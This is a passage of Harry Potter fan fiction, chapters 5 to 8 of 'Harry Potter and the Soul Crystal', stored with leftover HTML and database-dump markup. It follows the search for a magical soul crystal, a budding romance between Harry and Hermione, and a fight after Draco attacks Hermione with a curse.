down the hall toward an empty classroom, dragging Ron behind him like a helium balloon. <p> </p><div class="center">============================================================== </div><p></p><p> ~ 2 MONTHS LATER........... </p><p> </p></dd><dd> Ron was adjusting. He had pretty much gone back to being himself. Occasionally he would get depressed and mope for a few days but Madam Pomfrey had assured Harry and Hermione that this was normal. Harry, Hermione, Ron and Wendy busied themselves with trying to find out just what the heck the soul crystal was. <p> </p></dd><dd> Hagrid sat by himself on the porch swing in the Hogwarts gardens. It groaned under his weight. He sighed. He hadn\'t seen the air at Hogwarts this dismal since the Potters had been killed. Why had the bubble sprites been out of the forest? They normally fed only on bright spots; free floating balls of magic that rose up out of enchanted swamps. He had a sudden flash of inspiration and jumped off the swing, heading for Dumbledore\'s office as fast as he could run. <p> </p><div class="center">==============================================================</div> <p></p><p> </p></dd><dd> Dumbledore paced back and forth in front of his desk. Every once in a while he\'d stop as though he were thinking and then go back to pacing. Finally he sank into his chair. "So. It\'s awake," he remarked with a horrible sound of finality in his voice. <p> </p></dd><dd> "I think so. What else would scare bubble sprites outta their swamp?" replied Hagrid as he fidgeted with the ties on his coat. <p> </p></dd><dd> "Ask the centaurs to keep an eye out for the crystal. In the meantime, I shall notify the ministry. We will need guards at the forest edge." Dumbledore had his expression set in such a way that he might as well have been made of stone. <p> </p></dd><dd> "Yes Sir," said Hagrid as he rose out of his chair and turned to leave. <p> </p></dd><dd> "Oh, and Hagrid?" Dumbledore said with a stern tone. <p> </p></dd><dd> "Yeah?" Hagrid paused in the doorway. <p> </p></dd><dd> "Harry must not know of this. If he finds out what that crystal may hold I doubt all the magic in the world could keep him from trying to acquire it." <p> </p></dd><dd> "Course Professor. I won\' slip up like last time. Yeh can coun\' on me," Hagrid said proudly. <p> </p></dd><dd> "I know I can," Dumbledore said although he wasn\'t sure he believed it. <p> </p><div class="center">==============================================================</div> <p></p><p> </p></dd><dd> Harry dropped his head on his desk. He hadn\'t gotten much sleep lately and it showed in the lazy scrawling he\'d been doing on his parchment. <p> </p></dd><dd>Professor McGonagall frowned as she came across his desk.. "Harry. This is not art class," she said as she tapped the drawing with the end of her wand. <p> </p></dd><dd> Harry looked up with droopy eyes. "Sorry." <p> </p></dd><dd> Professor McGonagall sighed. "Just see that it doesn\'t happen again." <p> </p></dd><dd> As class ended Professor McGonagall called for the trio to stay behind. As they stood in front of her desk they knew there were some uncomfortable questions coming. "I want to know what you three have been doing up so late at night," she said as she tapped her fingers on the desk. <p> </p></dd><dd> They knew she was right and there was no way around it. "Harry\'s been having some strange dreams lately and we\'ve been doing research to learn what they\'re about," said Hermione, a little too fast. <p> </p></dd><dd> McGonagall folded her arms. "I trust you did not leave the common room whilst doing this research?" All three students shook their heads rapidly. "Because your only crime thus far is nearly falling asleep in my class I\'ll only deduct five points from Gryffindor." The trio bit their lips. "Now scat. Before I change my mind," she said as she pointed toward the door. <p>  </p><p> </p></dd><dd> Hermione, Harry, Ron and Wendy arrived at the front gates after visiting Hagrid to find Lee Jordan and the Weasley twins huddled together, talking excitedly over a leather pouch in Fred\'s hand. Lee (A/N- Lee was also held back.) and the twins hid the pouch behind their backs as soon as they saw the other students. <p> </p></dd><dd> Wendy had become good friends with Lee and the twins over the past few months. She also loved practical jokes and, much to Harry\'s chagrin, had gone with them on several prank runs. <p> </p></dd><dd>Wendy ran toward the twins, wanting to see their new product, when she tripped on a mound of earth and fell. Her falling hands hit the pouch and sent it\'s contents flying. Hundreds of tiny, pink pellets rained all over the ground. Fred and George looked absolutely crestfallen. There was no way their mother wasn\'t going to hear about this. <p> </p></dd><dd> The ground shook slightly and then the pellets began to sprout something. Hermione and the others squinted to see what was coming up. The sprouts shot up to their full height and took their final form. The students burst out laughing. The majestic grounds of Hogwarts was covered in pink, plastic lawn flamingos. <p> </p></dd><dd> The Twins and Lee shot Wendy a look that said they weren\'t too happy with her. Wendy shrank back against her brother. "Ever notice how the Earth never opens up an swallows you when you really need it to?" she said. Harry nodded through his giggles. <p> </p></dd><dd> "FRED, GEORGE and LEE! In my office! NOW!" came McGonagall\'s angry voice from the main doors. All three boys hung their heads and shuffled towards their impending doom. <p>  </p><p> </p></dd><dd> Hermione\'s nightgown was plastered to her body with sweat. She was having a nightmare. In this dream she had just finished telling Harry how she felt about him when Voldemort came out of nowhere and stabbed Harry through the heart with his wand. She sat up sharply in bed. Her hair was matted to the side of her head. "Oh God. Why? It\'s not fair. I want to tell him. But I\'m scared now," she moaned. This nightmare was the reason she hadn\'t admitted her feelings to Harry yet, that and the fact that he had said more than once that he liked Cho. <p> </p></dd><dd> Harry had told Hermione about the Soul Crystal. She swore she remembered reading about it somewhere in one of the library books, but when she when went to read them again yesterday all books about the crystal had been removed from the shelves. The books about wizarding history from twenty years ago on were also missing in action. She had asked Dumbledore about it but he had just said it was for the best. <p> </p></dd><dd><i>"Damn Harry for being so cute anyway."</i> Hermione thought. <i>"I don\'t want to be in love with my best friend."</i> She sucked in a breath. <i>"Whoa. Wait a minute. Love? Where did that come from?"</i> She bit her lower lip. She had known she liked Harry, but could she really be in love with him? <i>"Oh please no. Not Harry. Anyone but Harry. He\'s not interested in me. I know it. Just wonderful. I happen to be in love with someone I can\'t have."</i> She felt like she wanted to cry. <p> </p></dd><dd>Hermione suddenly had a desperate need to find out what the Soul Crystal was. Maybe if she found the information for him he could forget about Cho for a second. She groped around on the floor for her robe. She pulled on the robe and snuck into the boys\' dormitory. After a moment of rooting around in Harry\'s trunk she found the invisibility cloak. She threw it over herself and left the Gryffindor tower. She knew where to look for the books. She took an deep breath and silently headed for Dumbledore\'s office. <p> .........TO BE CONTINUED<br/>\n ========================================================================== </p></dd><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>'),
	(31, 6, ' <center> Harry Potter and the Soul Crystal - Chapter 6</center>\n\n<p>\n\n</p><dd>The final scene in this chap has been extended, big time. <p>\n\n</p></dd><dd>The only characters/things I own are Wendy Potter, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the deednim reecal spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p>\n\n</p><center> ==============================================================================<br>\n ==============================================================================<p>\n\n</p></center>\n\n</dd><dd> Hermione tiptoed through the halls. She saw Mrs. Norris and flattened herself against the wall. The cat stopped near Hermione\'s position, sniffed the air, and stalked away, obviously annoyed that she couldn\'t see what she could smell. Hermione breathed a sigh of relief as soon as she believed Mrs. Norris was out of earshot. <p>\n\n</p></dd><dd> Hermione rounded another corner and nearly choked when she saw what Peeves was up to. Up until then she thought she had seen his most vulgar pranks...she was wrong. Peeves was putting very large, nude posters over the paintings in the hall ahead. The paintings in question were shouting in protest. Hermione had to bite her lip hard enough to draw blood, to keep herself from scolding Peeves. It was against her very nature not to scold. Although she had lightened up considerably over the last five years. She didn\'t want to risk Peeves flying into her so, hoping he was too busy with his prank to sense her presence, she dropped to the floor and began to crawl. <p>\n\n</p></dd><dd> Finally in the clear, Hermione went through the secret passage and began the long climb to Dumbledore\'s office. She could hear the blood pounding in her ears with every step. When she reached the top she took out her wand and aimed it at the lock on the door. &quot;Alohamora,&quot; she whispered. The lock undid itself and Hermione carefully opened the door and peeked inside. Seeing no signs of life in the room she began to slip through the door. <p>\n\n</p></dd><dd> &quot;Can I help you with something, Miss Granger?&quot; came Dumbledore\'s voice from behind her. Hermione\'s blood turned to ice. Oh God. This was it. She was going to be expelled for sure and then....... &quot;Please come inside and sit, Hermione. I must speak with you.&quot; Hermione was confused but she followed the Headmaster into his office. <p>\n\n</p></dd><dd> Dumbledore lit the fireplace and sat in one of the plush chairs next to it, beckoning Hermione to do the same. Dumbledore looked thoughtful as he stroked his beard for a moment. &quot;I had hoped you could have had the sense to leave well enough alone. But since you seem to love Harry too much to do so I feel I must explain some things,&quot; Dumbledore said in an understanding tone. <p>\n\n</p></dd><dd> Hermione cringed at hearing \'love\'. There was that word again....in relation to Harry...again. She really didn\'t want to think about that at a time like this. She finally felt brave enough to speak. &quot;So...so I\'m not being expelled then sir?&quot; she said with a slight twinge of fear in her voice. <p>\n\n</p></dd><dd> Dumbledore chuckled lightly. &quot;No dear girl. You are not being expelled. Although Gryffindor will loose some points I\'m afraid.&quot; He sat quiet for a moment before speaking again. &quot;I know Harry has told you about his dreams otherwise you would not be here now.&quot; He sighed. &quot;What do you know about Voldemort\'s search for followers?&quot; <p>\n\n</p></dd><dd> Hermione instantly answered. &quot;He looked for powerful wizards to join him...and he killed the ones who wouldn\'t do it,&quot; she said, thinking of Harry\'s parents. <p>\n\n</p></dd><dd> &quot;Do you know why he killed them instead of simply controlling their minds?&quot; <p>\n\n</p></dd><dd> Hermione shook her head and then had a sudden thought. &quot;Does it have to do with the Soul Crystal?&quot; <p>\n\n</p></dd><dd> Dumbledore nodded. &quot;Indeed it does. You see, Hermione, Voldemort was not very powerful at the beginning of his quest. He needed the Soul Crystal to become so. If one wizard kills another and has the Soul Crystal in their possession the fallen wizard\'s soul is drawn into the crystal and is trapped there. The soul\'s magic is then transferred, permanently, to the crystal bearer. With each new soul the power of the crystal bearer grows. Now, as far we know, even though the souls no longer possess any magic they still exist within the crystal.&quot; <p>\n\n</p></dd><dd> Hermione\'s eyes went wide. &quot;Then....then that means Harry\'s parents could be inside the crystal!&quot; <p>\n\n</p></dd><dd> Dumbledore\'s face grew deadly serious. &quot;Yes they are. And Harry must never know of this.&quot; <p>\n\n</p></dd><dd> Hermione was confused. &quot;Why?&quot; <p>\n\n</p></dd><dd> &quot;Because it is guarded by a terrible beast. I know Harry has dreamt of this too. Now listen to me very carefully. There is no way to bring Harry\'s parents back to life. It cannot be done. If you tell Harry what I have just told you, you will be putting his life in very serious danger for no reason. Can I trust you with this knowledge?&quot; Dumbledore asked. Hermione reluctantly nodded her head. &quot;Good girl.&quot; <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> Hermione pushed her eggs around her plate with her fork. Harry just stared at her. &quot;So, Mione,&quot; he said, which made Hermione jump a bit, &quot;You wanna tell us what\'s going on or should I guess?&quot; <p>\n\n</p></dd><dd> Hermione gulped, but not visibly. &quot;Nothing really. I just.....I thought I\'d found something on the Soul Crystal in a book last night but it was a dead end,&quot; she said. Then, just for good measure she returned to looking downcast at her eggs. <p>\n\n</p></dd><dd> Suddenly the sound of a fork being tapped on a wine glass grabbed the attention of the entire dining hall. Dumbledore stood up from his seat. &quot;You\'re attention please. I must announce that the forest is now not only forbidden but, thanks to the ongoing investigation into the bubble sprite incident, it is also now guarded by members of The Ministry Of Magic. Any attempt to penetrate the blockade will be met with immediate detention for the remainder of the school year&quot; He stared at the crowd of students for a moment as if waiting for someone to raise their hand. &quot;You may all now return to your meals,&quot; he said as sat down. <p>\n\n</p></dd><dd> Harry had a severe look on his face. &quot;Damn. Now what?&quot; <p>\n\n</p></dd><dd> Hermione spoke up. &quot;Harry, maybe we should forget about the Soul Crystal. It could just be a crazy nightmare after all,&quot; she said a little too suspiciously. Ron, Harry, and Wendy turned to stare at Hermione. <p>\n\n</p></dd><dd> &quot;Are you nuts? This could be major important,&quot; said Wendy looking somewhat confused at Hermione\'s sudden change of heart. Hadn\'t she just been complaining about not finding the information she wanted? <p>\n\n</p></dd><dd> &quot;How do you know that? How do you know your dreams aren\'t the result of a spell cast on you two by the Death Eaters? How do you know this isn\'t a trap?&quot; Hermione said with a raised voice. <p>\n\n</p></dd><dd> Harry shushed Hermione. &quot;Do you want everyone to hear?&quot; <p>\n\n</p></dd><dd> &quot;Hear what?&quot; came a familiar sleazy voice from behind Harry. The quartet all stared up into face of Malfoy. &quot;Now now. You four aren\'t talking about going into the forest again are you?&quot; he said as he slithered over behind Hermione and tsk tsked. &quot;I wouldn\'t want my beautiful little mudblood getting all scratched up.&quot; He brushed a finger against Hermione\'s cheek which she immediately slapped away. Every since Hermione had arrived that year with her new look Malfoy had been paying her way too much unwanted attention. Apparently now that his hormones had come into play he no longer cared what Hermione was as long as he thought he had a chance to get her into the sack. <p>\n\n</p></dd><dd> Harry was instantly on his feet. &quot;Malfoy you leave her alone or I\'ll....&quot; He shook with anger. <p>\n\n</p></dd><dd> &quot;Or you\'ll what? This is a room full of teachers you know.&quot; Harry clenched his teeth. &quot;What\'s the matter Potter? Afraid I\'ll snatch your girlfriend away from you?&quot; he sneered. <p>\n\n</p></dd><dd> Harry immediately turned tomato red. He was about to make a nasty retort when McGonagall stepped in. &quot;Mr. Malfoy I do believe you sit at the Slytherin table, do you not?&quot; <p>\n\n</p></dd><dd> Malfoy nodded and stalked away and McGonagall went back to the head table. Harry slumped into his seat while his stomach did nervous flip-flops from hearing the word \'girlfriend\' in reference to Hermione. <i>&quot;What was that feeling just now?&quot;</i> he wondered, thinking about when Malfoy was putting the moves on Hermione. <i>&quot;Was I...jealous?&quot;</i> he thought, the knot in his stomach tightening it\'s grip. <i>&quot;I have to talk to her.&quot;</i>\n\n<p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> Harry paced in the Gryffindor common room waiting for Hermione to get back from her trip to Hogsmeade with Wendy. The girls had said they were looking at dresses for the dance. What was he going to say to her? That he had very strong feelings but it wasn\'t love? Maybe just asking her out on a simple first date would be in order. After all, he didn\'t want to scare her off. <p>\n\n</p></dd><dd> The door to the common room opened and Harry, without looking to see who it was, turned and gave a big smile. When he saw it was not her, his face fell immediately. <p>\n\n</p></dd><dd>Lee Jordan was confused. &quot;What\'s with the sappy grin, Harry?&quot; <p>\n\n</p></dd><dd> &quot;Nothing,&quot; Harry grumbled as he sunk down into a chair. <p>\n\n</p></dd><dd> &quot;Ahhhhh. I see. You thought I\'d be, Hermione,&quot; he said with a smirk. <p>\n\n</p></dd><dd> &quot;No! That is....I......&quot; Harry blew out a puff of air. <p>\n\n</p></dd><dd> &quot;If you don\'t ask her out soon you\'re gonna explode. You know that don\'t you?&quot; Lee said as he sat opposite Harry. <p>\n\n</p></dd><dd> &quot;That\'s why I\'m waiting for her here,&quot; Harry replied as he glanced at the door. <p>\n\n</p></dd><dd> Lee chuckled. &quot;If you were any more in love with her, her name would materialize on your forehead.&quot; <p>\n\n</p></dd><dd> &quot;I\'m not in love with her!&quot; Harry half yelled, half whispered. He sighed. &quot;I don\'t know what the hell I\'m feeling. I just know it\'s not love.&quot; Lee began intently staring at Harry\'s nose. &quot;What are you doing?&quot; Harry asked impatiently. <p>\n\n</p></dd><dd> &quot;Waiting for your nose to grow.&quot; Lee laughed. <p>\n\n</p></dd><dd> &quot;Sod off Lee,&quot; Harry said jokingly. <p>\n\n</p></dd><dd> Lee grinned and grabbed a leather pouch off the fireplace mantle. &quot;Just came in to get this for Fred and George. Want to work on it so the flamingos can come up in different colors.&quot; <p>\n\n</p></dd><dd> Harry shook his head. &quot;Be careful. If Professor McGonagall sees that you\'re gonna be cleaning Hagrid\'s animal stalls till you graduate.&quot; <p>\n\n</p></dd><dd>\n\n<i>&quot;Hermione\'s starting to rub off on him.&quot;</i> Lee thought. He laughed and opened the door. Hermione was just walking up. Lee made an over exaggerated bow and smiled. &quot;Lady Granger. Your knight, awaits.&quot; <p>\n\n</p></dd><dd> Hermione gave Lee a confused look as he skipped away down the hall. &quot;What was that all about?&quot; she asked Harry. <p>\n\n</p></dd><dd> &quot;Nothing.&quot; Harry cleared his throat. &quot;Mione, can I talk to you?&quot; Harry said as he rubbed the back of his neck. He led her over to the window seat. <p>\n\n</p></dd><dd> &quot;What is it Harry?&quot; Hermione asked. <i>&quot;He looks so serious. Is something wrong?&quot;</i>\n\n<p>\n\n</p></dd><dd>Harry looked down at the seat. He made a small half-laugh, more from nerves than anything. &quot;Heh heh. It\'s funny. Now that you\'re here I\'m not sure what I wanna say.&quot; <p>\n\n</p></dd><dd>Hermione smiled warmly. &quot;Take your time.&quot; <p>\n\n</p></dd><dd>Harry looked up at her. &quot;How do I?&quot; He swallowed. &quot;E...ever since we got to school this year I...feelings...that weren\'t there before keep coming up and...they\'re all about you.&quot; <p>\n\n</p></dd><dd>Hermione\'s eyes fluttered in surprise. &quot;Me?&quot; <p>\n\n</p></dd><dd>Inwardly Harry groaned in frustration. Where was that intuition of hers? Why wasn\'t it saving him from actually having to say the words? He sighed again. &quot;I think...I <i>know</i> I...I like you. <p>\n\n</p></dd><dd>Hermione suddenly looked liked she was going to cry. &quot;You do?&quot; <p>\n\n</p></dd><dd>The look on Hermione\'s face made the bottom drop out his stomach. <i>&quot;Oh God. She doesn\'t feel the same way. What have I done?&quot;</i> &quot;I\'m sorry...I shouldn\'t have said anything,&quot; he said quickly as he got up to leave. <p>\n\n</p></dd><dd>Hermione suddenly realized he had taken her reaction the wrong way and grabbed Harry\'s wrist. &quot;Harry, wait,&quot; she said as he turned to face her. She pulled on his wrist in order to get him to sit back down. &quot;I wasn\'t upset,&quot; a small smile played across her lips as she saw Harry\'s face brighten a little, &quot;I was just...surprised.&quot; She smiled broadly. &quot;I like you too.&quot; <p>\n\n</p></dd><dd>&quot;You do?&quot; Harry said, barely daring to believe it. <p>\n\n</p></dd><dd>Hermione, still smiling, nodded. &quot;Uh huh.&quot; <p>\n\n</p></dd><dd>Harry smiled and laughed lightly in relief. &quot;Can...can I hug you?&quot; <p>\n\n</p></dd><dd>Hermione smiled and drew Harry into a warm embrace. Her heart was racing. It was so differant than the other hugs she had given him. This one had a new purpose behind it. She felt like there was no other place in the world, but his arms. <p>\n\n</p></dd><dd>As Harry held Hermione he stroked he hair. He had never hugged a girl this way before. <i>&quot;Has she always smelled this good?&quot;</i> He suddenly pushed her away a bit, so he could see her face, and drew in a long breath. &quot;Will you go to the dance with me? As my date?&quot; <p>\n\n</p></dd><dd> Very slowly a smile spread across Hermione\'s face until she was grinning from ear to ear. &quot;I\'d love to Harry!&quot; <p>\n\n</p></dd><dd> Harry grinned. &quot;Brilliant! I\'m glad that\'s over. I was so afraid you\'d say no.&quot; <p>\n\n</p></dd><dd> Hermione leaned over and gave Harry a quick kiss on the cheek. After doing so she blushed. &quot;Now how could I say no to the boy who lived?&quot; she said and went up to bed. <p>\n\n</p></dd><dd> Harry laid down on the window seat and stared up at the night sky. The boy who lived felt very happy. <p> .........TO BE CONTINUED<br>\n\n\n</p><center> ====================================================================<p>\n\n</p></center>\n\n</dd><dd> Awwwwwwww. Now wasn\'t that just so sweet and fluffy? Lol. Hope the H &amp; H shippers like that one. '),
	(31, 7, ' <center> Harry Potter and the Soul Crystal - Chapter 7 <p> ______________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________</p><p>\n\n</p></center>\n\n<dd> Harry watched the teachers decorating the ballroom for the dance. The room was being made up to look like a forest of crystal. Small, free floating balls of light hovered about 15 feet up. The effect on the crystal branches was dazzling. Harry sighed. He had a date with Hermione. Finally. Why had he taken so long to ask her? <i>&quot;Bugger all, I\'m a coward sometimes&quot;</i> he admonished himself. <p>\n\n</p></dd><dd> Harry felt something smooth and cool touch the back of his hand. An enchanted crystal deer was nuzzling it. He smiled. The teachers were really going all out. It made him a little sad to know it was all being taken down again. The teachers thought it was best to test out their designs before the actual date of the dance so they could work out any problems. His thoughts were interrupted by Ron running toward him. The youngest Weasley brother had an ear to ear grin on his face. Without a word Ron grabbed his hand, dragged him out into the hallway and into the boy\'s bathroom. Ron bent over for a moment so he could catch his breath. &quot;Harry,&quot; Ron said in between gasps, &quot;You\'ll never believe this.&quot; He brought his voice down to barely above a whisper. &quot;I found what we were looking for!&quot; <p>\n\n</p></dd><dd> &quot;Huh?&quot; Harry replied, confused. <p>\n\n</p></dd><dd> &quot;I was in the library getting a book for class, when I dropped my triggle root. It rolled under the bookcase and when I went down to get it I found this,&quot; he exclaimed as he proudly pulled a book from his bag. In blue metallic lettering the title read \'Magical Artifacts Throughout History\'. Harry snatched the book out of Ron\'s hand and began thumbing through it. &quot;They must have missed it when they took all those books down.&quot; <p>\n\n</p></dd><dd> They finally found the chapter they needed. Harry\'s heart pounded in his chest as he turned the pages. After reading it Harry slowly closed the book like he was in a trance. After a long silence Harry swallowed. &quot;Do you know what this means?&quot; <p>\n\n</p></dd><dd> Ron nodded. &quot;We could bring back your parents.....&quot; <p>\n\n</p></dd><dd> Harry let out a puff of air. &quot;We could bring back everyone Voldemort killed.&quot; <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> Hermione stared longingly at the new indoor swimming pool being added on to the back of Hogwarts. Of course all the new construction was being made to match the castle. New types of lessons would soon be had by students of Care of Magical Creatures, Defense Against the Dark Arts, Potions and Spell Casting. The teachers of those classes had asked for a pool so they could teach about things pertaining to large bodies of water without having to resort to trudging all the way down to the lake. It was also advantageous in case of rain. <p>\n\n</p></dd><dd> Hermione couldn\'t wait. Hagrid had been going on and on about teaching them how to ride Argots. She had heard about them but she had never seen one, not in person anyway. <p>\n\n</p></dd><dd> Hermione\'s thoughts drifted to the other night. She\'d been waiting so long for a date with Harry. She was happy but also a little worried. Her nightmares about Harry\'s death made her jump at every little sound. Well, things hadn\'t happened like in the dream anyway. He had asked her out. Not the other way around. Maybe it was just a dream after all. <p>\n\n</p></dd><dd> Hermione was just about to head down to lunch when she heard a sound behind her. Suddenly a bouquet of violet orchids was thrust in front of her face. Once she got over the momentary shock she lowered her nose to the flowers and drank in their scent deeply. She took the flowers and, blushing furiously, turned around to thank Harry. Only it wasn\'t Harry, it was Draco. She scuttled backwards and fell over a chair, landing with an unceremonious thump on the floor of the empty classroom. <p>\n\n</p></dd><dd> Draco smiled in such a way that Hermione began to taste bile rising in her throat. &quot;Certainly not the reaction I was hoping for,&quot; Draco feigned being hurt. <p>\n\n</p></dd><dd> Hermione glared at Draco. &quot;Just what do you think you\'re doing!&quot; she hissed. <p>\n\n</p></dd><dd> &quot;Well, since my attempts to win you over fairly were going less than stellar I decided I needed to be sneaky,&quot; he explained, suddenly becoming very interested in studying his fingernails, &quot;Of course you like them.&quot; <p>\n\n</p></dd><dd> Hermione\'s eyes narrowed. &quot;Of course I do NOT!! Get out of here now!&quot; she said as she stood up. <p>\n\n</p></dd><dd> &quot;You might want to take that back,&quot; Draco warned, narrowing his eyes. <p>\n\n</p></dd><dd> &quot;I said OUT!!!!&quot; Hermione yelled as she threw the flowers in his face. <p>\n\n</p></dd><dd> Draco was instantly furious. &quot;Why you insolent little mudblood!&quot; he raged. &quot;You should get down on your hands and knees and thank the stars that a full blood wizard is even interrested in you!&quot; He stepped closer. &quot;Now...thank me for the flowers,&quot; he said ominously. <p>\n\n</p></dd><dd> &quot;No!&quot; Hermione yelled indignantly. <p>\n\n</p></dd><dd> Draco was so angry his body shook. <i>&quot;I had actually lowered myself to the level of trying to woo this halfling and STILL she denies me?!!!&quot;</i> The word came out of his mouth before he had even thought it. &quot;Crucio!&quot; <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> George turned and looked behind him at the tap on his shoulder. He saw Harry, who had a look of concern on his face. &quot;George. Have you seen Hermione?&quot; <p>\n\n</p></dd><dd> &quot;Mope. Avwent ween er,&quot; George replied through a mouthful of steak. <p>\n\n</p></dd><dd> Harry sighed heavily. &quot;I\'m sure she\'s around Bro,&quot; said Wendy as she walked up next to her brother. &quot;You know Mione. She\'s probably studying and not bothering to watch the clock.&quot; <p>\n\n</p></dd><dd> Harry smiled. &quot;You might be right,&quot; he said with a bit of worry still apparent in his voice. <p>\n\n</p></dd><dd> &quot;C\'mon. We\'ll go look for her,&quot; Wendy said thumbing toward the doors. <p>\n\n</p></dd><dd> Harry nodded and the two Potters began their search. Wendy spotted Lavender walking up the hall. &quot;Lavender, have you seen Hermione?&quot; <p>\n\n</p></dd><dd> Lavender thought for a moment. &quot;I think I saw her heading for the old study room.&quot; <p>\n\n</p></dd><dd> Wendy snickered. &quot;See,&quot; she said to Harry, &quot;told ya. Let\'s go tell her ta get her butt in gear.&quot; Harry looked at her blankly. She sighed in frustration. &quot;I meant we need to tell her to get moving.&quot; <p>\n\n</p><center>==============================================================</center>\n\n<p> Hermione writhed on the cold stone floor of room. <i>&quot;This can\'t be happening. Oh God please let this be a nightmare,&quot;</i> she begged in her mind. The pain was like a fire that burned through her very soul. <i>&quot;Harry...please help....&quot;</i>\n\n</p><p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> Harry and Wendy were walking toward the study room when they heard a crash. Harry got into the room first and what he saw made his blood boil. Hermione was twitching so badly that it looked like a seziure. &quot;How DARE you!!!!!&quot; he screamed at Draco. Hermione stopped spasming at once. Draco looked up at Harry with surprise. Harry raised his wand and yelled, &quot;Accio wand!&quot; Draco\'s wand flew into his hand. &quot;Razorum!&quot; Instantly a cut appeared on Draco\'s left cheek. Harry yelled the spell again and again. <p>\n\n</p></dd><dd> Draco was starting to bleed profusely. &quot;Harry! HARRY! That\'s enough! You\'ll kill him!&quot; Wendy yelled. When she saw this wasn\'t working she grabbed Harry\'s wand out of his hand. She then pointed her wand at Draco and said, &quot;Aura copula.&quot; Ropes of light bound Draco and he toppled over onto the floor. During all this Harry had kept trying to get his wand back, but quickly found out that Wendy was stronger than she looked. &quot;C\'mon Harry. He\'s not worth goin\' ta Azkaban for,&quot; she said soothingly. Harry just stood there, ridgid. Somehow Wendy knew he wouldn\'t do anything else so she went over to Hermione and used her pocket knife to sever the ropes. &quot;Harry. Why don\'t you go get Professor Dumbledore.&quot; <p>\n\n</p></dd><dd> Hermione suddenly found the strength to speak. &quot;No. We\'re not telling anyone.&quot; <p>\n\n</p></dd><dd> Everyone\'s eyes went wide. &quot;Mione are you nuts?&quot; Wendy asked. <p>\n\n</p></dd><dd> &quot;We can use this against him,&quot; she said as she stood up shakily. She turned to Draco with an angry glare. &quot;You hear me you trash. You ever do anything to anyone at Hogwarts again and I\'ll have Dumbledore expel you. Go to Madam Pomfrey and tell her you fell in the thorn grove. That\'ll explain the cuts.&quot; <p>\n\n</p></dd><dd> Draco glared at everyone as Harry reversed the rope spell. Realizing they had him dead to rights, he threw a chair against the wall in frustration, and began to leave when Harry grabbed him by the shoulders and slammed him against the wall. There was a murdurous look in Harry\'s eyes. &quot;If you ever go near Hermione again, I\'ll break you in half,&quot; Harry said warningly. <p>\n\n</p></dd><dd> Draco stormed off down the hall. The Potters kneeled down next Hermione. She collapsed into Harry\'s arms and sobbed silently. <p> .........TO BE CONTINUED<br>\n ======================================================================================== </p><p>\n\n</p></dd><dd> I know that was a little heavy but I thought it was a good plot point plus it will play a role in the sequal to this fic. <p>\n\n</p></dd><dd>Aura copula- Roughly means &quot;light ropes&quot; in latin.  '),
	(31, 8, ' <center> Harry Potter and the Soul Crystal - Chapter 8</center>\n\n<p>\n\n</p><dd>The only characters/things I own are Wendy Kitanya, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p>\n\n</p><center> _____________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________<p>\n\n</p></center>\n\n</dd><dd> Hermione turned to the next page in the giant book she was reading. Her expression was one of great concentration. Her hair was somewhat disheveled and there were the beginnings of little bags under her eyes. A cup of coffee next to her sent off little wisps of steam into the air. She turned another page and her hand went to her quill to jot down some notes. All the books in the enormous stack next to her were about learning wandless magic. She had kept insisting to everyone that if she had studied this topic sooner she would not have needed rescuing. <p>\n\n</p></dd><dd> Harry watched Hermione sadly from the other side of the common room. She had been like this all night. He walked over to her and tapped her on the shoulder. &quot;Mione?&quot; <p>\n\n</p></dd><dd> Hermione yawned and willed her eyes to have the power to meet Harry\'s. &quot;Yes, Harry?&quot; <p>\n\n</p></dd><dd>&quot;You should go to bed. You\'re so tired,&quot; he said softly. <p>\n\n</p></dd><dd> Hermione gave Harry a warm smile. &quot;You go ahead. I\'ll be fine.&quot; <p>\n\n</p></dd><dd> Harry sighed. &quot;Don\'t be up too much later, okay?&quot; he said as he touched her cheek. <p>\n\n</p></dd><dd> Harry headed up the steps to the boys\' dorm. <i>&quot;Why couldn\'t I have gotten there sooner?&quot;</i> Harry thought angrily as he ran a hand through his raven black hair. He suddenly shuddered at what might have happened had Wendy not stopped him. <i>&quot;I really wanted to kill him&quot;</i> he thought. Even though he hated Draco with every fiber of his being, the thought of himself in such a blind rage terrified him. He never wanted to be like that again. <p>\n\n</p></dd><dd> About a half hour later Hermione closed her book and trudged up the stairs to her dorm with her mini library in her arms. Wendy was waiting for her in the doorway. &quot;Do you really need to do all that?&quot; <p>\n\n</p></dd><dd> Hermione simply looked at her. &quot;I have to be prepared in case something like this happens again. I don\'t want to need protecting.&quot; <p>\n\n</p></dd><dd> Wendy shook her head. &quot;Mione. No one can go it alone all the time. That\'s why God gave us friends.&quot; <p>\n\n</p></dd><dd> Hermione smiled. &quot;I suppose you\'re right.&quot; <p>\n\n</p></dd><dd> Wendy crawled into bed and rolled onto her side. &quot;Night, Mione.&quot; <p>\n\n</p></dd><dd> &quot;Goodnight, Wendy.&quot; Hermione said as she sat down on her bed. She stayed on there for about a minute before she grabbed one of the books from her stack and sat in the window sill with it. The moonlight shown down on Hermione\'s pretty face as a single tear rolled down her cheek. Hermione Granger had never felt so weak in her entire life. <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> The next morning the sun was just rising as Harry sat on the ground next to the lake. He had his hand held out. A small flame was dancing in it, just above the skin\'s surface. &quot;What the bloody hell!??&quot; came Hermione\'s voice from behind him. Hermione stood aghast as she watched the flame. Harry was stunned at hearing those words come out of his 